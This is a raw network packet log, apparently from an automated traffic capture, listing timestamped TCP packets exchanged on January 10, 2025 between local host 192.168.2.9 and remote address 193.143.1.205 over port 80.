Jan 10, 2025 20:59:52.549789906 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.549796104 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.549801111 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.549807072 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.549813986 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.549907923 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.550697088 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.550714016 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.550725937 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.550736904 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.550748110 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.550748110 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.550770998 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.550782919 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.550795078 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.550801039 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.550832033 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.551707983 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.551719904 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.551731110 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.551742077 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.551753044 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.551754951 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.551765919 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.551798105 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.553205967 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.553217888 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.553230047 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.553256035 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.553287983 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.567500114 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.567595005 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.567605019 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.567615032 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.567651987 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.567653894 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.567663908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.567688942 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.567699909 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.601017952 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.601028919 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.601039886 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.601047039 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.601125002 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.634687901 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634747028 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634768963 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634782076 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634793043 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634804964 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634814024 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634834051 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634835005 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.634845018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634856939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634866953 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634869099 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.634880066 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634891033 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634901047 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634911060 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.634912968 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634924889 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.634936094 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.634958029 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.634978056 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.669426918 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669449091 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669503927 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.669544935 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669564009 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669578075 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669588089 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669600010 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669610023 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669611931 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.669632912 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.669667959 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.669681072 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669701099 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669719934 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669734001 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669744968 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669744968 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.669756889 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669769049 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669776917 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.669804096 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.669867992 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669879913 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669893026 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669903994 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669912100 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.669918060 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.669940948 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.669976950 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670105934 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670259953 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670270920 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670289993 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670303106 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670304060 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670312881 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670325041 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670336962 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670342922 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670348883 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670360088 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670366049 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670372963 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670383930 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670396090 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670398951 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670407057 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670418978 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670419931 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670430899 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670442104 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670443058 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670481920 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670654058 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670666933 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670680046 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670691013 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670701981 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670711040 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670734882 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670749903 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670826912 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670844078 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670855045 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670866013 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670878887 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670880079 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670890093 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670902967 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.670902967 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.670943975 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.671113014 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671123981 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671134949 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671148062 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671161890 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.671169043 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671179056 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671183109 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.671190977 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671201944 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671204090 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.671214104 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671228886 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671236038 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.671247005 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671260118 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671269894 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.671272039 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671283007 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671289921 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.671295881 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671308994 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.671324015 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.671351910 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.674436092 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674447060 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674458027 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674499989 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.674506903 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.674535990 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674556971 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674563885 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674570084 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674581051 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674587011 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674614906 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.674643993 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.674683094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674700022 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674710989 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674722910 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674735069 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674746037 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.674747944 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674761057 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.674779892 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.674803972 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.675523043 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675570011 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.675738096 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675761938 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675781012 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675792933 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675803900 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675805092 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.675816059 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675828934 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675837040 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.675848961 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675859928 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.675859928 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675872087 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675883055 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675893068 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.675895929 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675906897 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675913095 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.675919056 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675928116 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675936937 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.675940037 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675951958 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.675961018 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.675981998 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.723100901 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.725301981 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.725316048 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.725352049 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.888319016 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893294096 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893311024 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893322945 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893332958 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893346071 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893357038 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893369913 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893382072 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893383026 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893435955 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893441916 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893449068 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893465996 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893477917 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893487930 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893490076 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893501997 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893513918 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893513918 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893527031 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893538952 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893539906 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893549919 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893563986 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893568993 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893590927 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893601894 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893614054 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893625021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893635988 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893642902 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893646955 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893657923 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893667936 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893672943 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893678904 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893690109 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893702030 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893706083 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893712044 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893723011 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893735886 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893743038 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893750906 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893764973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893780947 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893790960 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893798113 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893809080 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893810987 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893820047 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893832922 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893842936 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893843889 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893855095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893867016 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893872023 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893877983 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893889904 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893897057 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893901110 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893912077 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893922091 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893922091 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893940926 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893949032 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893951893 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893961906 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893970013 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.893973112 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.893992901 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894000053 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894004107 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894016981 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894025087 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894028902 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894040108 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894049883 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894051075 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894061089 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894072056 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894078016 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894083023 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894093037 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894103050 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894104958 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894113064 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894115925 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894134045 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894135952 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894150972 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894162893 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894165039 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894174099 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894179106 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894185066 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894196033 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894207001 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894218922 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894222975 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894231081 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894243002 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894248962 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894253969 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894265890 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894269943 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894283056 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894283056 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894294024 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894311905 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894311905 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894330025 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894339085 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894344091 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894355059 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894366980 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894376040 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894376993 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894382000 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894387007 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894392967 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894398928 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894401073 CET	49706	80	192.168.2.9	193.143.1.205
